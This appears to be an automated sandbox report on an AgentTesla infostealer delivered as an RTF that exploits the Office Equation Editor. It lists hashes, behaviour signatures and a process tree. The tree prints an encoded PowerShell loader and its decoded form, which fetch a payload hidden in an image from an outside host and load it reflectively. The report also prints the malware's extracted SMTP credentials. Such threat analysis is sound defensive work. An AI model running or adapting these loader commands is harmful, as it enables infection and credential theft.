Analysis

  • max time kernel
    117s
  • max time network
    142s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16/03/2024, 01:20

General

  • Target

    34d4f41be41415d251e917eec848e3a0e93a741ef5ac3d17e2781597c6d947a9.rtf

  • Size

    69KB

  • MD5

    e567a41dabaf821c0bc51aff2925c190

  • SHA1

    761fe57c2da0aa95562369e67370748239e390db

  • SHA256

    34d4f41be41415d251e917eec848e3a0e93a741ef5ac3d17e2781597c6d947a9

  • SHA512

    a6e43a2f22ccb5c70f5974193d0d0091f6b89a322002c37ce386ef8f2231ac0f58edd2bcb6cdde15f10387e26abcb09da2481b384ec9a408e700d2a8e611526e

  • SSDEEP

    1536:6TtLyGyu01akkh9wTt+XqVlknkkqdiuuYzsaOYC97jSVL6V:6tHwB+XqVlknkkqdiuuYzsaOr7jaLQ

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.mez.com.tr
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    Ey25tK

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 5 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\34d4f41be41415d251e917eec848e3a0e93a741ef5ac3d17e2781597c6d947a9.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1888
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2508
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\howmuchtheyloveed.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1004
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$chiococco = 'ZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBrAHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAAkAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAZABvAHcAbgBsAG8AYQBkAGUAZABEAGEAdABhACAAPQAgAEAAKAApADsAIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAIAA9ACAAJABsAGkAbgBrAHMAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAAJABsAGkAbgBrAHMALgBMAGUAbgBnAHQAaAA7ACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBrACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAJABkAG8AdwBuAGwAbwBhAGQAZQBkAEQAYQB0AGEAIAArAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAHIAZQB0AHUAcgBuACAAJABkAG8AdwBuAGwAbwBhAGQAZQBkAEQAYQB0AGEAIAB9ADsAIAAkAGwAaQBuAGsAcwAgAD0AIABAACgAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA3ADUANQAvADkAOQA3AC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUAXwByAC4AagBwAGcAPwAxADcAMQAwADQAMQAzADkAOQAzACcALAAgACcAaAB0AHQAcABzADoALwAvAHUAcABsAG8AYQBkAGQAZQBpAG0AYQBnAGUAbgBzAC4AYwBvAG0ALgBiAHIALwBpAG0AYQBnAGUAcwAvADAAMAA0AC8ANwA1ADUALwA5ADkANwAvAG8AcgBpAGcAaQBuAGEAbAAvAG4AZQB3AF8AaQBtAGEAZwBlAF8AcgAuAGoAcABnAD8AMQA3ADEAMAA0ADEAMwA5ADkAMwAnACkAOwAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhAHIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFAAUgBPAEoARQBUAE8AQQBVAFQATwBNAEEAQwBBAE8ALgBWAEIALgBIAG8AbQBlACcAKQA7ACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgBHAFIATwAvADkAMAAwADgANwAvADcAOAAxAC4AMQAzAC4ANQA3ADEALgA3ADAAMQAvAC8AOgBwAHQAdABoACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcAIAAsACAAJwBkAGUAcwBhAHQAaQB2AGEAZABvACcALAAnAFIAZQBnAEEAcwBtACcALAAnACcAKQApAH0AIAB9AA==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $chiococco));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/755/997/original/new_image_r.jpg?1710413993', 'https://uploaddeimagens.com.br/images/004/755/997/original/new_image_r.jpg?1710413993'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.GRO/90087/781.13.571.701//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2764
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2256

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      67KB

      MD5

      753df6889fd7410a2e9fe333da83a429

      SHA1

      3c425f16e8267186061dd48ac1c77c122962456e

      SHA256

      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

      SHA512

      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

    • C:\Users\Admin\AppData\Local\Temp\Cab9B67.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\TarA0BB.tmp

      Filesize

      175KB

      MD5

      dd73cead4b93366cf3465c8cd32e2796

      SHA1

      74546226dfe9ceb8184651e920d1dbfb432b314e

      SHA256

      a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

      SHA512

      ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      b9dc9700595b0992f1c1c4c9e0c9e6c1

      SHA1

      237ae55185856866a05e17fcf19fa839ce66eb2d

      SHA256

      2ccfae2dc5b2563b6a44752fa6a1d60f90ab73e21f8c09fa69ca36487e89b876

      SHA512

      36452f9e215fe8e9982d42b3e1c3ed641f5c8d93f9d6046c765ec177adf89943d84959a1c583d0e1777ee8aeb346a7f3104d13340529c9dc72fc77c5e2871790

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      f7e8cf141144912a9b670da1f89f605f

      SHA1

      51f844c9ad68d72bb8bf4bcea646a2a662766004

      SHA256

      d2a40cc6ef53fbc1b07bdd81da25aa28d6a1fbefad444846883f5a197719c87b

      SHA512

      020cd49f956ab33fc846ee15f10df7017e01e043f8bbbf9c721e02d8ffd95e1ed1625030799a7058a286eaedb9e90a74373102ebbdc252dc4c0ac52380fb5761

    • C:\Users\Admin\AppData\Roaming\howmuchtheyloveed.vbs

      Filesize

      33KB

      MD5

      4b3dc567b0a7552a869c7502db01dcdf

      SHA1

      8d681cfd3ff711e85f084cb05d0de37844ed7f5f

      SHA256

      a338e89b830333f305faa5e11f88dac154e1d0d206be598021a53006d2e44c72

      SHA512

      04b8236c7cf8e4d64ff154fdfec6acf4f1b7a964adbc22a1490c26f3fa5bb017d2a87b46a54dccf41f58ab4439b57e3c306c1a04013d938a8dafa831d6981700

    • memory/2256-122-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2256-119-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

    • memory/2256-126-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

    • memory/2256-128-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

    • memory/2256-124-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

    • memory/2256-118-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

    • memory/2256-121-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

    • memory/2256-120-0x0000000000400000-0x0000000000444000-memory.dmp

      Filesize

      272KB

    • memory/2376-115-0x0000000002540000-0x0000000002580000-memory.dmp

      Filesize

      256KB

    • memory/2376-16-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2376-131-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2376-15-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2376-21-0x0000000002540000-0x0000000002580000-memory.dmp

      Filesize

      256KB

    • memory/2376-113-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2376-114-0x0000000002540000-0x0000000002580000-memory.dmp

      Filesize

      256KB

    • memory/2376-22-0x0000000002540000-0x0000000002580000-memory.dmp

      Filesize

      256KB

    • memory/2376-116-0x0000000002540000-0x0000000002580000-memory.dmp

      Filesize

      256KB

    • memory/2764-32-0x0000000005100000-0x000000000513D000-memory.dmp

      Filesize

      244KB

    • memory/2764-130-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2764-117-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2764-31-0x0000000002510000-0x0000000002550000-memory.dmp

      Filesize

      256KB

    • memory/2764-33-0x00000000050A0000-0x00000000050B6000-memory.dmp

      Filesize

      88KB

    • memory/2764-30-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2764-29-0x0000000002510000-0x0000000002550000-memory.dmp

      Filesize

      256KB

    • memory/2764-28-0x000000006B720000-0x000000006BCCB000-memory.dmp

      Filesize

      5.7MB

    • memory/2764-129-0x00000000002E0000-0x00000000002E9000-memory.dmp

      Filesize

      36KB

    • memory/3048-2-0x000000007198D000-0x0000000071998000-memory.dmp

      Filesize

      44KB

    • memory/3048-0-0x000000002F511000-0x000000002F512000-memory.dmp

      Filesize

      4KB

    • memory/3048-52-0x000000007198D000-0x0000000071998000-memory.dmp

      Filesize

      44KB

    • memory/3048-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3048-152-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB